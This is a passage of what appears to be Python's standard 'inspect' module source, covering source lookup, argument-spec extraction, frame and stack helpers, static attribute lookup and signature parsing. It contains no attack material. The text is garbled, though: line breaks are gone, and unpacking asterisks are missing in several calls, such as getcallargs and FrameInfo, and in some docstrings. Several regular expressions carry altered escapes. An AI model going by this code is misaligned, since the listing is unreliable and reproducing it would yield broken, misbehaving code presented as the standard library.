has a PEP 302 loader if getattr(getmodule(object, filename), '__loader__', None) is not None: return filename # or it is in the linecache if filename in linecache.cache: return filename def getabsfile(object, _filename=None): """Return an absolute path to the source or compiled file for an object. The idea is for each object to have a unique origin, so this routine normalizes the result as much as possible.""" if _filename is None: _filename = getsourcefile(object) or getfile(object) return os.path.normcase(os.path.abspath(_filename)) modulesbyfile = {} _filesbymodname = {} def getmodule(object, _filename=None): """Return the module an object was defined in, or None if not found.""" if ismodule(object): return object if hasattr(object, '__module__'): return sys.modules.get(object.__module__) # Try the filename to modulename cache if _filename is not None and _filename in modulesbyfile: return sys.modules.get(modulesbyfile[_filename]) # Try the cache again with the absolute file name try: file = getabsfile(object, _filename) except TypeError: return None if file in modulesbyfile: return sys.modules.get(modulesbyfile[file]) # Update the filename to module name cache and check yet again # Copy sys.modules in order to cope with changes while iterating for modname, module in sys.modules.copy().items(): if ismodule(module) and hasattr(module, '__file__'): f = module.__file__ if f == _filesbymodname.get(modname, None): # Have already mapped this module, so skip it continue _filesbymodname[modname] = f f = getabsfile(module) # Always map to the name the module knows itself by modulesbyfile[f] = modulesbyfile[ os.path.realpath(f)] = module.__name__ if file in modulesbyfile: return sys.modules.get(modulesbyfile[file]) # Check the main module main = sys.modules['__main__'] if not hasattr(object, '__name__'): return None if hasattr(main, object.__name__): mainobject = getattr(main, object.__name__) if mainobject is object: return main # Check builtins builtin = sys.modules['builtins'] if hasattr(builtin, object.__name__): builtinobject = getattr(builtin, object.__name__) if builtinobject is object: return builtin def findsource(object): """Return the entire source file and starting line number for an object. The argument may be a module, class, method, function, traceback, frame, or code object. The source code is returned as a list of all the lines in the file and the line number indexes a line in that list. An OSError is raised if the source code cannot be retrieved.""" file = getsourcefile(object) if file: # Invalidate cache if needed. linecache.checkcache(file) else: file = getfile(object) # Allow filenames in form of "<something>" to pass through. # `doctest` monkeypatches `linecache` module to enable # inspection, so let `linecache.getlines` to be called. if not (file.startswith('<') and file.endswith('>')): raise OSError('source code not available') module = getmodule(object, file) if module: lines = linecache.getlines(file, module.__dict__) else: lines = linecache.getlines(file) if not lines: raise OSError('could not get source code') if ismodule(object): return lines, 0 if isclass(object): name = object.__name__ pat = re.compile(r'^(\s)class\s' + name + r'\b') # make some effort to find the best matching class definition: # use the one with the least indentation, which is the one # that's most probably not inside a function definition. candidates = [] for i in range(len(lines)): match = pat.match(lines[i]) if match: # if it's at toplevel, it's already the best one if lines[i][0] == 'c': return lines, i # else add whitespace to candidate list candidates.append((match.group(1), i)) if candidates: # this will sort by whitespace, and by line number, # less whitespace first candidates.sort() return lines, candidates[0][1] else: raise OSError('could not find class definition') if ismethod(object): object = object.__func__ if isfunction(object): object = object.__code__ if istraceback(object): object = object.tb_frame if isframe(object): object = object.f_code if iscode(object): if not hasattr(object, 'co_firstlineno'): raise OSError('could not find function definition') lnum = object.co_firstlineno - 1 pat = re.compile(r'^(\sdef\s)\|(\sasync\s+def\s)\|(.(?<!\w)lambda(:\|\s))\|^(\s@)') while lnum > 0: if pat.match(lines[lnum]): break lnum = lnum - 1 return lines, lnum raise OSError('could not find code object') def getcomments(object): """Get lines of comments immediately preceding an object's source code. Returns None when source can't be found. """ try: lines, lnum = findsource(object) except (OSError, TypeError): return None if ismodule(object): # Look for a comment block at the top of the file. start = 0 if lines and lines[0][:2] == '#!': start = 1 while start < len(lines) and lines[start].strip() in ('', '#'): start = start + 1 if start < len(lines) and lines[start][:1] == '#': comments = [] end = start while end < len(lines) and lines[end][:1] == '#': comments.append(lines[end].expandtabs()) end = end + 1 return ''.join(comments) # Look for a preceding block of comments at the same indentation. elif lnum > 0: indent = indentsize(lines[lnum]) end = lnum - 1 if end >= 0 and lines[end].lstrip()[:1] == '#' and \ indentsize(lines[end]) == indent: comments = [lines[end].expandtabs().lstrip()] if end > 0: end = end - 1 comment = lines[end].expandtabs().lstrip() while comment[:1] == '#' and indentsize(lines[end]) == indent: comments[:0] = [comment] end = end - 1 if end < 0: break comment = lines[end].expandtabs().lstrip() while comments and comments[0].strip() == '#': comments[:1] = [] while comments and comments[-1].strip() == '#': comments[-1:] = [] return ''.join(comments) class EndOfBlock(Exception): pass class BlockFinder: """Provide a tokeneater() method to detect the end of a code block.""" def __init__(self): self.indent = 0 self.islambda = False self.started = False self.passline = False self.indecorator = False self.decoratorhasargs = False self.last = 1 def tokeneater(self, type, token, srowcol, erowcol, line): if not self.started and not self.indecorator: # skip any decorators if token == "@": self.indecorator = True # look for the first "def", "class" or "lambda" elif token in ("def", "class", "lambda"): if token == "lambda": self.islambda = True self.started = True self.passline = True # skip to the end of the line elif token == "(": if self.indecorator: self.decoratorhasargs = True elif token == ")": if self.indecorator: self.indecorator = False self.decoratorhasargs = False elif type == tokenize.NEWLINE: self.passline = False # stop skipping when a NEWLINE is seen self.last = srowcol[0] if self.islambda: # lambdas always end at the first NEWLINE raise EndOfBlock # hitting a NEWLINE when in a decorator without args # ends the decorator if self.indecorator and not self.decoratorhasargs: self.indecorator = False elif self.passline: pass elif type == tokenize.INDENT: self.indent = self.indent + 1 self.passline = True elif type == tokenize.DEDENT: self.indent = self.indent - 1 # the end of matching indent/dedent pairs end a block # (note that this only works for "def"/"class" blocks, # not e.g. for "if: else:" or "try: finally:" blocks) if self.indent <= 0: raise EndOfBlock elif self.indent == 0 and type not in (tokenize.COMMENT, tokenize.NL): # any other token on the same indentation level end the previous # block as well, except the pseudo-tokens COMMENT and NL. raise EndOfBlock def getblock(lines): """Extract the block of code at the top of the given list of lines.""" blockfinder = BlockFinder() try: tokens = tokenize.generate_tokens(iter(lines).__next__) for _token in tokens: blockfinder.tokeneater(_token) except (EndOfBlock, IndentationError): pass return lines[:blockfinder.last] def getsourcelines(object): """Return a list of source lines and starting line number for an object. The argument may be a module, class, method, function, traceback, frame, or code object. The source code is returned as a list of the lines corresponding to the object and the line number indicates where in the original source file the first line of code was found. An OSError is raised if the source code cannot be retrieved.""" object = unwrap(object) lines, lnum = findsource(object) if istraceback(object): object = object.tb_frame # for module or frame that corresponds to module, return all source lines if (ismodule(object) or (isframe(object) and object.f_code.co_name == "<module>")): return lines, 0 else: return getblock(lines[lnum:]), lnum + 1 def getsource(object): """Return the text of the source code for an object. The argument may be a module, class, method, function, traceback, frame, or code object. The source code is returned as a single string. An OSError is raised if the source code cannot be retrieved.""" lines, lnum = getsourcelines(object) return ''.join(lines) # --------------------------------------------------- class tree extraction def walktree(classes, children, parent): """Recursive helper function for getclasstree().""" results = [] classes.sort(key=attrgetter('__module__', '__name__')) for c in classes: results.append((c, c.__bases__)) if c in children: results.append(walktree(children[c], children, c)) return results def getclasstree(classes, unique=False): """Arrange the given list of classes into a hierarchy of nested lists. Where a nested list appears, it contains classes derived from the class whose entry immediately precedes the list. Each entry is a 2-tuple containing a class and a tuple of its base classes. If the 'unique' argument is true, exactly one entry appears in the returned structure for each class in the given list. Otherwise, classes using multiple inheritance and their descendants will appear multiple times.""" children = {} roots = [] for c in classes: if c.__bases__: for parent in c.__bases__: if not parent in children: children[parent] = [] if c not in children[parent]: children[parent].append(c) if unique and parent in classes: break elif c not in roots: roots.append(c) for parent in children: if parent not in classes: roots.append(parent) return walktree(roots, children, None) # ------------------------------------------------ argument list extraction Arguments = namedtuple('Arguments', 'args, varargs, varkw') def getargs(co): """Get information about the arguments accepted by a code object. Three things are returned: (args, varargs, varkw), where 'args' is the list of argument names. Keyword-only arguments are appended. 'varargs' and 'varkw' are the names of the and ** arguments or None.""" args, varargs, kwonlyargs, varkw = _getfullargs(co) return Arguments(args + kwonlyargs, varargs, varkw) def _getfullargs(co): """Get information about the arguments accepted by a code object. Four things are returned: (args, varargs, kwonlyargs, varkw), where 'args' and 'kwonlyargs' are lists of argument names, and 'varargs' and 'varkw' are the names of the * and ** arguments or None.""" if not iscode(co): raise TypeError('{!r} is not a code object'.format(co)) nargs = co.co_argcount names = co.co_varnames nkwargs = co.co_kwonlyargcount args = list(names[:nargs]) kwonlyargs = list(names[nargs:nargs+nkwargs]) step = 0 nargs += nkwargs varargs = None if co.co_flags & CO_VARARGS: varargs = co.co_varnames[nargs] nargs = nargs + 1 varkw = None if co.co_flags & CO_VARKEYWORDS: varkw = co.co_varnames[nargs] return args, varargs, kwonlyargs, varkw ArgSpec = namedtuple('ArgSpec', 'args varargs keywords defaults') def getargspec(func): """Get the names and default values of a function's parameters. A tuple of four things is returned: (args, varargs, keywords, defaults). 'args' is a list of the argument names, including keyword-only argument names. 'varargs' and 'keywords' are the names of the * and ** parameters or None. 'defaults' is an n-tuple of the default values of the last n parameters. This function is deprecated, as it does not support annotations or keyword-only parameters and will raise ValueError if either is present on the supplied callable. For a more structured introspection API, use inspect.signature() instead. Alternatively, use getfullargspec() for an API with a similar namedtuple based interface, but full support for annotations and keyword-only parameters. Deprecated since Python 3.5, use `inspect.getfullargspec()`. """ warnings.warn("inspect.getargspec() is deprecated since Python 3.0, " "use inspect.signature() or inspect.getfullargspec()", DeprecationWarning, stacklevel=2) args, varargs, varkw, defaults, kwonlyargs, kwonlydefaults, ann = \ getfullargspec(func) if kwonlyargs or ann: raise ValueError("Function has keyword-only parameters or annotations" ", use getfullargspec() API which can support them") return ArgSpec(args, varargs, varkw, defaults) FullArgSpec = namedtuple('FullArgSpec', 'args, varargs, varkw, defaults, kwonlyargs, kwonlydefaults, annotations') def getfullargspec(func): """Get the names and default values of a callable object's parameters. A tuple of seven things is returned: (args, varargs, varkw, defaults, kwonlyargs, kwonlydefaults, annotations). 'args' is a list of the parameter names. 'varargs' and 'varkw' are the names of the * and ** parameters or None. 'defaults' is an n-tuple of the default values of the last n parameters. 'kwonlyargs' is a list of keyword-only parameter names. 'kwonlydefaults' is a dictionary mapping names from kwonlyargs to defaults. 'annotations' is a dictionary mapping parameter names to annotations. Notable differences from inspect.signature(): - the "self" parameter is always reported, even for bound methods - wrapper chains defined by __wrapped__ not unwrapped automatically """ try: # Re: `skip_bound_arg=False` # # There is a notable difference in behaviour between getfullargspec # and Signature: the former always returns 'self' parameter for bound # methods, whereas the Signature always shows the actual calling # signature of the passed object. # # To simulate this behaviour, we "unbind" bound methods, to trick # inspect.signature to always return their first parameter ("self", # usually) # Re: `follow_wrapper_chains=False` # # getfullargspec() historically ignored __wrapped__ attributes, # so we ensure that remains the case in 3.3+ sig = _signature_from_callable(func, follow_wrapper_chains=False, skip_bound_arg=False, sigcls=Signature) except Exception as ex: # Most of the times 'signature' will raise ValueError. # But, it can also raise AttributeError, and, maybe something # else. So to be fully backwards compatible, we catch all # possible exceptions here, and reraise a TypeError. raise TypeError('unsupported callable') from ex args = [] varargs = None varkw = None kwonlyargs = [] defaults = () annotations = {} defaults = () kwdefaults = {} if sig.return_annotation is not sig.empty: annotations['return'] = sig.return_annotation for param in sig.parameters.values(): kind = param.kind name = param.name if kind is _POSITIONAL_ONLY: args.append(name) elif kind is _POSITIONAL_OR_KEYWORD: args.append(name) if param.default is not param.empty: defaults += (param.default,) elif kind is _VAR_POSITIONAL: varargs = name elif kind is _KEYWORD_ONLY: kwonlyargs.append(name) if param.default is not param.empty: kwdefaults[name] = param.default elif kind is _VAR_KEYWORD: varkw = name if param.annotation is not param.empty: annotations[name] = param.annotation if not kwdefaults: # compatibility with 'func.__kwdefaults__' kwdefaults = None if not defaults: # compatibility with 'func.__defaults__' defaults = None return FullArgSpec(args, varargs, varkw, defaults, kwonlyargs, kwdefaults, annotations) ArgInfo = namedtuple('ArgInfo', 'args varargs keywords locals') def getargvalues(frame): """Get information about arguments passed into a particular frame. A tuple of four things is returned: (args, varargs, varkw, locals). 'args' is a list of the argument names. 'varargs' and 'varkw' are the names of the * and ** arguments or None. 'locals' is the locals dictionary of the given frame.""" args, varargs, varkw = getargs(frame.f_code) return ArgInfo(args, varargs, varkw, frame.f_locals) def formatannotation(annotation, base_module=None): if getattr(annotation, '__module__', None) == 'typing': return repr(annotation).replace('typing.', '') if isinstance(annotation, type): if annotation.__module__ in ('builtins', base_module): return annotation.__qualname__ return annotation.__module__+'.'+annotation.__qualname__ return repr(annotation) def formatannotationrelativeto(object): module = getattr(object, '__module__', None) def _formatannotation(annotation): return formatannotation(annotation, module) return _formatannotation def formatargspec(args, varargs=None, varkw=None, defaults=None, kwonlyargs=(), kwonlydefaults={}, annotations={}, formatarg=str, formatvarargs=lambda name: '' + name, formatvarkw=lambda name: '' + name, formatvalue=lambda value: '=' + repr(value), formatreturns=lambda text: ' -> ' + text, formatannotation=formatannotation): """Format an argument spec from the values returned by getfullargspec. The first seven arguments are (args, varargs, varkw, defaults, kwonlyargs, kwonlydefaults, annotations). The other five arguments are the corresponding optional formatting functions that are called to turn names and values into strings. The last argument is an optional function to format the sequence of arguments. Deprecated since Python 3.5: use the `signature` function and `Signature` objects. """ from warnings import warn warn("`formatargspec` is deprecated since Python 3.5. Use `signature` and " "the `Signature` object directly", DeprecationWarning, stacklevel=2) def formatargandannotation(arg): result = formatarg(arg) if arg in annotations: result += ': ' + formatannotation(annotations[arg]) return result specs = [] if defaults: firstdefault = len(args) - len(defaults) for i, arg in enumerate(args): spec = formatargandannotation(arg) if defaults and i >= firstdefault: spec = spec + formatvalue(defaults[i - firstdefault]) specs.append(spec) if varargs is not None: specs.append(formatvarargs(formatargandannotation(varargs))) else: if kwonlyargs: specs.append('') if kwonlyargs: for kwonlyarg in kwonlyargs: spec = formatargandannotation(kwonlyarg) if kwonlydefaults and kwonlyarg in kwonlydefaults: spec += formatvalue(kwonlydefaults[kwonlyarg]) specs.append(spec) if varkw is not None: specs.append(formatvarkw(formatargandannotation(varkw))) result = '(' + ', '.join(specs) + ')' if 'return' in annotations: result += formatreturns(formatannotation(annotations['return'])) return result def formatargvalues(args, varargs, varkw, locals, formatarg=str, formatvarargs=lambda name: '' + name, formatvarkw=lambda name: '' + name, formatvalue=lambda value: '=' + repr(value)): """Format an argument spec from the 4 values returned by getargvalues. The first four arguments are (args, varargs, varkw, locals). The next four arguments are the corresponding optional formatting functions that are called to turn names and values into strings. The ninth argument is an optional function to format the sequence of arguments.""" def convert(name, locals=locals, formatarg=formatarg, formatvalue=formatvalue): return formatarg(name) + formatvalue(locals[name]) specs = [] for i in range(len(args)): specs.append(convert(args[i])) if varargs: specs.append(formatvarargs(varargs) + formatvalue(locals[varargs])) if varkw: specs.append(formatvarkw(varkw) + formatvalue(locals[varkw])) return '(' + ', '.join(specs) + ')' def _missing_arguments(f_name, argnames, pos, values): names = [repr(name) for name in argnames if name not in values] missing = len(names) if missing == 1: s = names[0] elif missing == 2: s = "{} and {}".format(names) else: tail = ", {} and {}".format(names[-2:]) del names[-2:] s = ", ".join(names) + tail raise TypeError("%s() missing %i required %s argument%s: %s" % (f_name, missing, "positional" if pos else "keyword-only", "" if missing == 1 else "s", s)) def _too_many(f_name, args, kwonly, varargs, defcount, given, values): atleast = len(args) - defcount kwonly_given = len([arg for arg in kwonly if arg in values]) if varargs: plural = atleast != 1 sig = "at least %d" % (atleast,) elif defcount: plural = True sig = "from %d to %d" % (atleast, len(args)) else: plural = len(args) != 1 sig = str(len(args)) kwonly_sig = "" if kwonly_given: msg = " positional argument%s (and %d keyword-only argument%s)" kwonly_sig = (msg % ("s" if given != 1 else "", kwonly_given, "s" if kwonly_given != 1 else "")) raise TypeError("%s() takes %s positional argument%s but %d%s %s given" % (f_name, sig, "s" if plural else "", given, kwonly_sig, "was" if given == 1 and not kwonly_given else "were")) def getcallargs(func_and_positional, *named): """Get the mapping of arguments to values. A dict is returned, with keys the function argument names (including the names of the and ** arguments, if any), and values the respective bound values from 'positional' and 'named'.""" func = func_and_positional[0] positional = func_and_positional[1:] spec = getfullargspec(func) args, varargs, varkw, defaults, kwonlyargs, kwonlydefaults, ann = spec f_name = func.__name__ arg2value = {} if ismethod(func) and func.__self__ is not None: # implicit 'self' (or 'cls' for classmethods) argument positional = (func.__self__,) + positional num_pos = len(positional) num_args = len(args) num_defaults = len(defaults) if defaults else 0 n = min(num_pos, num_args) for i in range(n): arg2value[args[i]] = positional[i] if varargs: arg2value[varargs] = tuple(positional[n:]) possible_kwargs = set(args + kwonlyargs) if varkw: arg2value[varkw] = {} for kw, value in named.items(): if kw not in possible_kwargs: if not varkw: raise TypeError("%s() got an unexpected keyword argument %r" % (f_name, kw)) arg2value[varkw][kw] = value continue if kw in arg2value: raise TypeError("%s() got multiple values for argument %r" % (f_name, kw)) arg2value[kw] = value if num_pos > num_args and not varargs: _too_many(f_name, args, kwonlyargs, varargs, num_defaults, num_pos, arg2value) if num_pos < num_args: req = args[:num_args - num_defaults] for arg in req: if arg not in arg2value: _missing_arguments(f_name, req, True, arg2value) for i, arg in enumerate(args[num_args - num_defaults:]): if arg not in arg2value: arg2value[arg] = defaults[i] missing = 0 for kwarg in kwonlyargs: if kwarg not in arg2value: if kwonlydefaults and kwarg in kwonlydefaults: arg2value[kwarg] = kwonlydefaults[kwarg] else: missing += 1 if missing: _missing_arguments(f_name, kwonlyargs, False, arg2value) return arg2value ClosureVars = namedtuple('ClosureVars', 'nonlocals globals builtins unbound') def getclosurevars(func): """ Get the mapping of free variables to their current values. Returns a named tuple of dicts mapping the current nonlocal, global and builtin references as seen by the body of the function. A final set of unbound names that could not be resolved is also provided. """ if ismethod(func): func = func.__func__ if not isfunction(func): raise TypeError("{!r} is not a Python function".format(func)) code = func.__code__ # Nonlocal references are named in co_freevars and resolved # by looking them up in __closure__ by positional index if func.__closure__ is None: nonlocal_vars = {} else: nonlocal_vars = { var : cell.cell_contents for var, cell in zip(code.co_freevars, func.__closure__) } # Global and builtin references are named in co_names and resolved # by looking them up in __globals__ or __builtins__ global_ns = func.__globals__ builtin_ns = global_ns.get("__builtins__", builtins.__dict__) if ismodule(builtin_ns): builtin_ns = builtin_ns.__dict__ global_vars = {} builtin_vars = {} unbound_names = set() for name in code.co_names: if name in ("None", "True", "False"): # Because these used to be builtins instead of keywords, they # may still show up as name references. We ignore them. continue try: global_vars[name] = global_ns[name] except KeyError: try: builtin_vars[name] = builtin_ns[name] except KeyError: unbound_names.add(name) return ClosureVars(nonlocal_vars, global_vars, builtin_vars, unbound_names) # -------------------------------------------------- stack frame extraction Traceback = namedtuple('Traceback', 'filename lineno function code_context index') def getframeinfo(frame, context=1): """Get information about a frame or traceback object. A tuple of five things is returned: the filename, the line number of the current line, the function name, a list of lines of context from the source code, and the index of the current line within that list. The optional second argument specifies the number of lines of context to return, which are centered around the current line.""" if istraceback(frame): lineno = frame.tb_lineno frame = frame.tb_frame else: lineno = frame.f_lineno if not isframe(frame): raise TypeError('{!r} is not a frame or traceback object'.format(frame)) filename = getsourcefile(frame) or getfile(frame) if context > 0: start = lineno - 1 - context//2 try: lines, lnum = findsource(frame) except OSError: lines = index = None else: start = max(0, min(start, len(lines) - context)) lines = lines[start:start+context] index = lineno - 1 - start else: lines = index = None return Traceback(filename, lineno, frame.f_code.co_name, lines, index) def getlineno(frame): """Get the line number from a frame object, allowing for optimization.""" # FrameType.f_lineno is now a descriptor that grovels co_lnotab return frame.f_lineno FrameInfo = namedtuple('FrameInfo', ('frame',) + Traceback._fields) def getouterframes(frame, context=1): """Get a list of records for a frame and all higher (calling) frames. Each record contains a frame object, filename, line number, function name, a list of lines of context, and index within the context.""" framelist = [] while frame: frameinfo = (frame,) + getframeinfo(frame, context) framelist.append(FrameInfo(frameinfo)) frame = frame.f_back return framelist def getinnerframes(tb, context=1): """Get a list of records for a traceback's frame and all lower frames. Each record contains a frame object, filename, line number, function name, a list of lines of context, and index within the context.""" framelist = [] while tb: frameinfo = (tb.tb_frame,) + getframeinfo(tb, context) framelist.append(FrameInfo(frameinfo)) tb = tb.tb_next return framelist def currentframe(): """Return the frame of the caller or None if this is not possible.""" return sys._getframe(1) if hasattr(sys, "_getframe") else None def stack(context=1): """Return a list of records for the stack above the caller's frame.""" return getouterframes(sys._getframe(1), context) def trace(context=1): """Return a list of records for the stack below the current exception.""" return getinnerframes(sys.exc_info()[2], context) # ------------------------------------------------ static version of getattr _sentinel = object() def _static_getmro(klass): return type.__dict__['__mro__'].__get__(klass) def _check_instance(obj, attr): instance_dict = {} try: instance_dict = object.__getattribute__(obj, "__dict__") except AttributeError: pass return dict.get(instance_dict, attr, _sentinel) def _check_class(klass, attr): for entry in _static_getmro(klass): if _shadowed_dict(type(entry)) is _sentinel: try: return entry.__dict__[attr] except KeyError: pass return _sentinel def _is_type(obj): try: _static_getmro(obj) except TypeError: return False return True def _shadowed_dict(klass): dict_attr = type.__dict__["__dict__"] for entry in _static_getmro(klass): try: class_dict = dict_attr.__get__(entry)["__dict__"] except KeyError: pass else: if not (type(class_dict) is types.GetSetDescriptorType and class_dict.__name__ == "__dict__" and class_dict.__objclass__ is entry): return class_dict return _sentinel def getattr_static(obj, attr, default=_sentinel): """Retrieve attributes without triggering dynamic lookup via the descriptor protocol, __getattr__ or __getattribute__. Note: this function may not be able to retrieve all attributes that getattr can fetch (like dynamically created attributes) and may find attributes that getattr can't (like descriptors that raise AttributeError). It can also return descriptor objects instead of instance members in some cases. See the documentation for details. """ instance_result = _sentinel if not _is_type(obj): klass = type(obj) dict_attr = _shadowed_dict(klass) if (dict_attr is _sentinel or type(dict_attr) is types.MemberDescriptorType): instance_result = _check_instance(obj, attr) else: klass = obj klass_result = _check_class(klass, attr) if instance_result is not _sentinel and klass_result is not _sentinel: if (_check_class(type(klass_result), '__get__') is not _sentinel and _check_class(type(klass_result), '__set__') is not _sentinel): return klass_result if instance_result is not _sentinel: return instance_result if klass_result is not _sentinel: return klass_result if obj is klass: # for types we check the metaclass too for entry in _static_getmro(type(klass)): if _shadowed_dict(type(entry)) is _sentinel: try: return entry.__dict__[attr] except KeyError: pass if default is not _sentinel: return default raise AttributeError(attr) # ------------------------------------------------ generator introspection GEN_CREATED = 'GEN_CREATED' GEN_RUNNING = 'GEN_RUNNING' GEN_SUSPENDED = 'GEN_SUSPENDED' GEN_CLOSED = 'GEN_CLOSED' def getgeneratorstate(generator): """Get current state of a generator-iterator. Possible states are: GEN_CREATED: Waiting to start execution. GEN_RUNNING: Currently being executed by the interpreter. GEN_SUSPENDED: Currently suspended at a yield expression. GEN_CLOSED: Execution has completed. """ if generator.gi_running: return GEN_RUNNING if generator.gi_frame is None: return GEN_CLOSED if generator.gi_frame.f_lasti == -1: return GEN_CREATED return GEN_SUSPENDED def getgeneratorlocals(generator): """ Get the mapping of generator local variables to their current values. A dict is returned, with the keys the local variable names and values the bound values.""" if not isgenerator(generator): raise TypeError("{!r} is not a Python generator".format(generator)) frame = getattr(generator, "gi_frame", None) if frame is not None: return generator.gi_frame.f_locals else: return {} # ------------------------------------------------ coroutine introspection CORO_CREATED = 'CORO_CREATED' CORO_RUNNING = 'CORO_RUNNING' CORO_SUSPENDED = 'CORO_SUSPENDED' CORO_CLOSED = 'CORO_CLOSED' def getcoroutinestate(coroutine): """Get current state of a coroutine object. Possible states are: CORO_CREATED: Waiting to start execution. CORO_RUNNING: Currently being executed by the interpreter. CORO_SUSPENDED: Currently suspended at an await expression. CORO_CLOSED: Execution has completed. """ if coroutine.cr_running: return CORO_RUNNING if coroutine.cr_frame is None: return CORO_CLOSED if coroutine.cr_frame.f_lasti == -1: return CORO_CREATED return CORO_SUSPENDED def getcoroutinelocals(coroutine): """ Get the mapping of coroutine local variables to their current values. A dict is returned, with the keys the local variable names and values the bound values.""" frame = getattr(coroutine, "cr_frame", None) if frame is not None: return frame.f_locals else: return {} ############################################################################### ### Function Signature Object (PEP 362) ############################################################################### _WrapperDescriptor = type(type.__call__) _MethodWrapper = type(all.__call__) _ClassMethodWrapper = type(int.__dict__['from_bytes']) _NonUserDefinedCallables = (_WrapperDescriptor, _MethodWrapper, _ClassMethodWrapper, types.BuiltinFunctionType) def _signature_get_user_defined_method(cls, method_name): """Private helper. Checks if ``cls`` has an attribute named ``method_name`` and returns it only if it is a pure python function. """ try: meth = getattr(cls, method_name) except AttributeError: return else: if not isinstance(meth, _NonUserDefinedCallables): # Once '__signature__' will be added to 'C'-level # callables, this check won't be necessary return meth def _signature_get_partial(wrapped_sig, partial, extra_args=()): """Private helper to calculate how 'wrapped_sig' signature will look like after applying a 'functools.partial' object (or alike) on it. """ old_params = wrapped_sig.parameters new_params = OrderedDict(old_params.items()) partial_args = partial.args or () partial_keywords = partial.keywords or {} if extra_args: partial_args = extra_args + partial_args try: ba = wrapped_sig.bind_partial(partial_args, partial_keywords) except TypeError as ex: msg = 'partial object {!r} has incorrect arguments'.format(partial) raise ValueError(msg) from ex transform_to_kwonly = False for param_name, param in old_params.items(): try: arg_value = ba.arguments[param_name] except KeyError: pass else: if param.kind is _POSITIONAL_ONLY: # If positional-only parameter is bound by partial, # it effectively disappears from the signature new_params.pop(param_name) continue if param.kind is _POSITIONAL_OR_KEYWORD: if param_name in partial_keywords: # This means that this parameter, and all parameters # after it should be keyword-only (and var-positional # should be removed). Here's why. Consider the following # function: # foo(a, b, args, c): # pass # # "partial(foo, a='spam')" will have the following # signature: "(, a='spam', b, c)". Because attempting # to call that partial with "(10, 20)" arguments will # raise a TypeError, saying that "a" argument received # multiple values. transform_to_kwonly = True # Set the new default value new_params[param_name] = param.replace(default=arg_value) else: # was passed as a positional argument new_params.pop(param.name) continue if param.kind is _KEYWORD_ONLY: # Set the new default value new_params[param_name] = param.replace(default=arg_value) if transform_to_kwonly: assert param.kind is not _POSITIONAL_ONLY if param.kind is _POSITIONAL_OR_KEYWORD: new_param = new_params[param_name].replace(kind=_KEYWORD_ONLY) new_params[param_name] = new_param new_params.move_to_end(param_name) elif param.kind in (_KEYWORD_ONLY, _VAR_KEYWORD): new_params.move_to_end(param_name) elif param.kind is _VAR_POSITIONAL: new_params.pop(param.name) return wrapped_sig.replace(parameters=new_params.values()) def _signature_bound_method(sig): """Private helper to transform signatures for unbound functions to bound methods. """ params = tuple(sig.parameters.values()) if not params or params[0].kind in (_VAR_KEYWORD, _KEYWORD_ONLY): raise ValueError('invalid method signature') kind = params[0].kind if kind in (_POSITIONAL_OR_KEYWORD, _POSITIONAL_ONLY): # Drop first parameter: # '(p1, p2[, ...])' -> '(p2[, ...])' params = params[1:] else: if kind is not _VAR_POSITIONAL: # Unless we add a new parameter type we never # get here raise ValueError('invalid argument type') # It's a var-positional parameter. # Do nothing. '(args[, ...])' -> '(args[, ...])' return sig.replace(parameters=params) def _signature_is_builtin(obj): """Private helper to test if `obj` is a callable that might support Argument Clinic's __text_signature__ protocol. """ return (isbuiltin(obj) or ismethoddescriptor(obj) or isinstance(obj, _NonUserDefinedCallables) or # Can't test 'isinstance(type)' here, as it would # also be True for regular python classes obj in (type, object)) def _signature_is_functionlike(obj): """Private helper to test if `obj` is a duck type of FunctionType. A good example of such objects are functions compiled with Cython, which have all attributes that a pure Python function would have, but have their code statically compiled. """ if not callable(obj) or isclass(obj): # All function-like objects are obviously callables, # and not classes. return False name = getattr(obj, '__name__', None) code = getattr(obj, '__code__', None) defaults = getattr(obj, '__defaults__', _void) # Important to use _void ... kwdefaults = getattr(obj, '__kwdefaults__', _void) # ... and not None here annotations = getattr(obj, '__annotations__', None) return (isinstance(code, types.CodeType) and isinstance(name, str) and (defaults is None or isinstance(defaults, tuple)) and (kwdefaults is None or isinstance(kwdefaults, dict)) and isinstance(annotations, dict)) def _signature_get_bound_param(spec): """ Private helper to get first parameter name from a __text_signature__ of a builtin method, which should be in the following format: '($param1, ...)'. Assumptions are that the first argument won't have a default value or an annotation. """ assert spec.startswith('($') pos = spec.find(',') if pos == -1: pos = spec.find(')') cpos = spec.find(':') assert cpos == -1 or cpos > pos cpos = spec.find('=') assert cpos == -1 or cpos > pos return spec[2:pos] def _signature_strip_non_python_syntax(signature): """ Private helper function. Takes a signature in Argument Clinic's extended signature format. Returns a tuple of three things: that signature re-rendered in standard Python syntax, * the index of the "self" parameter (generally 0), or None if the function does not have a "self" parameter, and * the index of the last "positional only" parameter, or None if the signature has no positional-only parameters. """ if not signature: return signature, None, None self_parameter = None last_positional_only = None lines = [l.encode('ascii') for l in signature.split('\n')] generator = iter(lines).__next__ token_stream = tokenize.tokenize(generator) delayed_comma = False skip_next_comma = False text = [] add = text.append current_parameter = 0 OP = token.OP ERRORTOKEN = token.ERRORTOKEN # token stream always starts with ENCODING token, skip it t = next(token_stream) assert t.type == tokenize.ENCODING for t in token_stream: type, string = t.type, t.string if type == OP: if string == ',': if skip_next_comma: skip_next_comma = False else: assert not delayed_comma delayed_comma = True current_parameter += 1 continue if string == '/': assert not skip_next_comma assert last_positional_only is None skip_next_comma = True last_positional_only = current_parameter - 1 continue if (type == ERRORTOKEN) and (string == '$'): assert self_parameter is None self_parameter = current_parameter continue if delayed_comma: delayed_comma = False if not ((type == OP) and (string == ')')): add(', ') add(string) if (string == ','): add(' ') clean_signature = ''.join(text) return clean_signature, self_parameter, last_positional_only def _signature_fromstr(cls, obj, s, skip_bound_arg=True): """Private helper to parse content of '__text_signature__' and return a Signature based on it. """ # Lazy import ast because it's relatively heavy and # it's not used for other than this function. import ast Parameter = cls._parameter_cls clean_signature, self_parameter, last_positional_only = \ _signature_strip_non_python_syntax(s) program = "def foo" + clean_signature + ": pass" try: module = ast.parse(program) except SyntaxError: module = None if not isinstance(module, ast.Module): raise ValueError("{!r} builtin has invalid signature".format(obj)) f = module.body[0] parameters = [] empty = Parameter.empty invalid = object() module = None module_dict = {} module_name = getattr(obj, '__module__', None) if module_name: module = sys.modules.get(module_name, None) if module: module_dict = module.__dict__ sys_module_dict = sys.modules.copy() def parse_name(node): assert isinstance(node, ast.arg) if node.annotation != None: raise ValueError("Annotations are not currently supported") return node.arg def wrap_value(s): try: value = eval(s, module_dict) except NameError: try: value = eval(s, sys_module_dict) except NameError: raise RuntimeError() if isinstance(value, str): return ast.Str(value) if isinstance(value, (int, 